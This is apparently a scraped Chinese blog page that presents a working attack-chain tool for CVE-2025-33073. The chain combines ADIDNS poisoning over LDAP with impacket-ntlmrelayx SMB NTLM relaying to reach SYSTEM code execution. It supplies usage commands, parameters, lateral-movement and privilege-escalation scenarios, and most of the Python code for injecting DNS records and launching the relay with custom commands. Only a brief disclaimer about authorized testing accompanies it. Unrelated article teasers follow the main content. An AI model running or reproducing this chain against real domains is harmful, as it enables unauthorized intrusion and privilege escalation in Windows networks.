news 2026/2/7 7:18:40

揭秘CVE-2025-33073:Windows SMB客户端NTLM中继攻击与ADIDNS投毒利用链

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
揭秘CVE-2025-33073:Windows SMB客户端NTLM中继攻击与ADIDNS投毒利用链

CVE-2025-33073 漏洞利用与ADIDNS投毒攻击链

项目描述

本项目是针对Windows SMB客户端漏洞CVE-2025-33073的利用链研究工具。该漏洞是一个高严重性的身份验证远程代码执行漏洞(CVSS 8.8),允许攻击者在未启用SMB签名的情况下,通过NTLM中继攻击获得SYSTEM级别的代码执行权限。本工具结合了ADIDNS(Active Directory集成DNS)投毒技术,自动化完成DNS记录注入、等待传播和触发SMB NTLM中继的完整攻击流程,用于演示和研究Windows域环境中的横向移动风险。

功能特性

  • 自动化攻击链:整合dnstool.py与impacket-ntlmrelayx,实现一键化攻击流程
  • ADIDNS投毒:通过LDAP协议向Active Directory添加恶意DNS记录
  • 智能等待机制:自动监控DNS记录传播状态,确保投毒成功
  • 灵活的NTLM中继启动:支持在当前终端或新建xterm窗口中启动ntlmrelayx监听器
  • 支持自定义命令执行:可在中继成功时执行指定的系统命令
  • SOCKS代理支持:可选开启SOCKS代理进行进一步的网络渗透

安装指南

系统要求

  • Python 3.x
  • 类Unix操作系统(支持xterm终端)
  • 网络访问权限(可访问目标域控DNS服务器)

依赖安装

项目依赖于以下Python库,可通过pip安装:

pipinstallimpacket ldap3 dnspython

工具依赖

确保系统中已安装以下安全工具:

  • impacket套件:特别是ntlmrelayx工具
  • dig命令:用于DNS查询测试(通常包含在dnsutils包中)
  • xterm终端:可选,用于在新窗口中运行监听器

配置说明

无需额外配置文件,所有参数通过命令行传递。

使用说明

基本用法

该工具是一个Python脚本,需要提供域用户凭据、攻击者IP、DNS服务器IP和域控FQDN等信息。

# 示例:执行完整的攻击链./exploit_chain.py -u domain_user -p password -a attacker_ip -d dns_server_ip -dc dc.domain.com -t target_machine

参数详解

  • -u, --user:域用户名(格式:DOMAIN\User 或 User)
  • -p, --password:用户密码
  • -a, --attacker-ip:攻击者控制的IP地址(用于DNS记录指向)
  • -d, --dns-ip:目标域DNS服务器IP地址
  • -dc, --dc-fqdn:域控制器的完全限定域名
  • -t, --target:SMB中继的目标机器IP或主机名
  • --timeout:等待DNS传播的超时时间(秒,默认60)
  • --cli-only:仅在当前命令行启动ntlmrelayx,不开新窗口
  • -c, --command:中继成功时执行的自定义系统命令
  • --socks:启用SOCKS代理模式

典型攻击场景

  1. 内部网络横向移动:在已获得一个域用户凭据的情况下,攻击者利用此工具向ADIDNS注入指向其控制服务器的DNS记录,然后诱导目标主机发起SMB连接,通过NTLM中继获得更高权限。
  2. 权限提升:结合其他漏洞或社会工程学,触发域内主机向恶意DNS记录指向的服务器进行身份验证,从而中继该身份验证到域控制器或其他高价值目标。

核心代码

1. DNS记录添加函数

此函数调用外部的dnstool.py脚本,通过LDAP向Active Directory添加一条静态的恶意DNS记录。

defrun_dnstool(user,password,attacker_ip,dns_ip,dc_fqdn):""" 使用dnstool.py添加恶意DNS记录到ADIDNS。 参数: user: 具有写入ADIDNS权限的域用户 password: 对应用户的密码 attacker_ip: 攻击者服务器IP,DNS记录将指向此地址 dns_ip: 目标域DNS服务器IP dc_fqdn: 域控制器的FQDN """print("[*] Adding malicious DNS record using dnstool.py...")dnstool_cmd=["python3","dnstool.py","-u",user,"-p",password,"-a","add","-r",STATIC_DNS_RECORD,# 预定义的DNS记录名"-d",attacker_ip,"-dns-ip",dns_ip,dc_fqdn]subprocess.run(dnstool_cmd,check=True)# 执行dnstool命令print("[+] DNS record added.")

2. DNS传播等待函数

该函数循环查询DNS服务器,确认注入的恶意记录已成功传播并生效。

defwait_for_dns_record(record,dns_ip,timeout=60):""" 等待指定的DNS记录在目标DNS服务器上生效。 参数: record: 要查询的DNS记录名称 dns_ip: 目标DNS服务器IP timeout: 超时时间(秒) 返回: bool: 成功解析到记录返回True,否则返回False """timeout=int(timeout)print(f"[*] Waiting for DNS record{record}to propagate...")start_time=time.time()whiletime.time()-start_time<timeout:try:# 使用dig命令查询DNS记录result=subprocess.run(["dig","+short",record,f"@{dns_ip}"],capture_output=True,text=True)ifresult.stdout.strip():# 如果查询结果非空print("[+] DNS record is live.")returnTrueexceptExceptionase:print(f"[!] Error checking DNS record:{e}")time.sleep(2)# 每2秒检查一次print("[!] Timeout reached. DNS record not found.")returnFalse

3. NTLM中继启动函数

根据用户选择,在当前终端或新建的xterm窗口中启动impacket的ntlmrelayx监听器。

defstart_ntlmrelayx(target,cli_only=False,custom_command=None,socks=False):""" 启动impacket-ntlmrelayx进行SMB NTLM中继监听。 参数: target: 中继目标(如域控制器) cli_only: 为True则在当前终端启动,否则开新xterm窗口 custom_command: 中继成功后执行的命令 socks: 是否启用SOCKS代理模式 """ifcli_only:print("[*] Starting ntlmrelayx listener in this terminal...")# 构建基本命令ifcustom_command:cmd=["impacket-ntlmrelayx","-t",target,"-smb2support","-c",custom_command]else:cmd=["impacket-ntlmrelayx","-t",target,"-smb2support"]ifsocks:cmd.append("-socks")# 添加SOCKS代理选项returnsubprocess.Popen(cmd)# 启动子进程else:print("[*] Starting ntlmrelayx listener in a new xterm...")# 在xterm中启动,保持窗口打开ifcustom_command:cmd=["xterm","-hold","-e","impacket-ntlmrelayx","-t",target,"-smb2support","-c",custom_command]else:cmd=["xterm","-hold","-e","impacket-ntlmrelayx","-t",target,"-smb2support"]ifsocks:cmd.insert(-1,"-socks")# 在命令末尾前插入SOCKS选项returnsubprocess.Popen(cmd)

4. ADIDNS工具核心交互代码(节选自dnstool.py)

此部分代码展示了如何通过LDAP协议与Active Directory DNS区域进行交互。

defadd_dns_record(connection,record_name,record_data,dnsserver):""" 通过LDAP向ADIDNS添加一条DNS记录。 参数: connection: 已建立的LDAP连接 record_name: 要添加的记录名称 record_data: 记录数据(如IP地址) dnsserver: DNS服务器对象 """# 构建DNS节点的可分辨名称(DN)dnsroot=dnsserver.get_dns_root()container='DC='+record_name+','+dnsroot# 创建dnsNode对象并设置属性dns_record=ldaptypes.DNS_RECORD()dns_record['Data']=record_data dns_record['Type']=1# A记录类型# 准备要添加的属性attributes={'objectClass':['top','dnsNode'],'dnsRecord':[dns_record.getData()],'dNSTombstoned':False}# 执行LDAP添加操作connection.add(container,attributes=attributes)print_o(f"Successfully added record{record_name}")

漏洞关键信息(CVE-2025-33073)

## 漏洞详情 - **CVE ID**: CVE-2025-33073 - **CVSS评分**: 8.8 (High) - **影响范围**: Windows 10, 11, Server 2012–2025 - **攻击向量**: 网络(需身份验证) - **影响**: SYSTEM级别代码执行 - **关键特性**: 绕过NTLM反射缓解措施

注意:本工具仅用于授权的安全测试、教育和研究目的。未经授权对他人系统进行测试是非法的。
6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAOCkEtiS8C/LxH9i/qwckdE
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/2/6 10:55:45

5分钟快速上手MaaFramework图像识别自动化框架

5分钟快速上手MaaFramework图像识别自动化框架 【免费下载链接】MaaFramework 基于图像识别的自动化黑盒测试框架 | A automation black-box testing framework based on image recognition 项目地址: https://gitcode.com/gh_mirrors/ma/MaaFramework 想要告别重复的手…

作者头像 李华
网站建设 2026/2/6 14:33:07

MaaFramework图像识别自动化框架终极指南

MaaFramework图像识别自动化框架终极指南 【免费下载链接】MaaFramework 基于图像识别的自动化黑盒测试框架 | A automation black-box testing framework based on image recognition 项目地址: https://gitcode.com/gh_mirrors/ma/MaaFramework 快速上手&#xff1a;5…

作者头像 李华
网站建设 2026/2/4 0:24:47

Barrier跨平台键盘鼠标共享:多设备无缝协同操作指南

Barrier跨平台键盘鼠标共享&#xff1a;多设备无缝协同操作指南 【免费下载链接】barrier Open-source KVM software 项目地址: https://gitcode.com/gh_mirrors/ba/barrier 在当今多设备协同工作的时代&#xff0c;频繁切换键盘鼠标已成为影响工作效率的主要痛点。Barr…

作者头像 李华
网站建设 2026/2/6 0:54:30

红白机(FC/NES)游戏软件原理:8000字左右知识点总结

目录 0. 先把对象讲清&#xff1a;你在给谁写软件&#xff1f; 1. ROM / 卡带&#xff1a;为什么“同一台机器”却有几百种内存布局&#xff1f; 1.1 iNES / NES 2.0&#xff1a;模拟器里常见的 ROM 容器格式 1.2 PRG-ROM / CHR-ROM / CHR-RAM 的软件含义 1.3 Mapper&#…

作者头像 李华
网站建设 2026/2/5 21:10:44

7个独家秘籍:让你的Joplin自定义界面惊艳全场

7个独家秘籍&#xff1a;让你的Joplin自定义界面惊艳全场 【免费下载链接】joplin Joplin 是一款安全笔记记录与待办事项应用&#xff0c;具备跨平台同步功能&#xff0c;支持 Windows、macOS、Linux、Android 和 iOS 平台。 项目地址: https://gitcode.com/GitHub_Trending/…

作者头像 李华
网站建设 2026/2/4 5:01:32

快速清理重复视频:智能去重工具终极指南

快速清理重复视频&#xff1a;智能去重工具终极指南 【免费下载链接】vidupe Vidupe is a program that can find duplicate and similar video files. V1.211 released on 2019-09-18, Windows exe here: 项目地址: https://gitcode.com/gh_mirrors/vi/vidupe 你是否曾…

作者头像 李华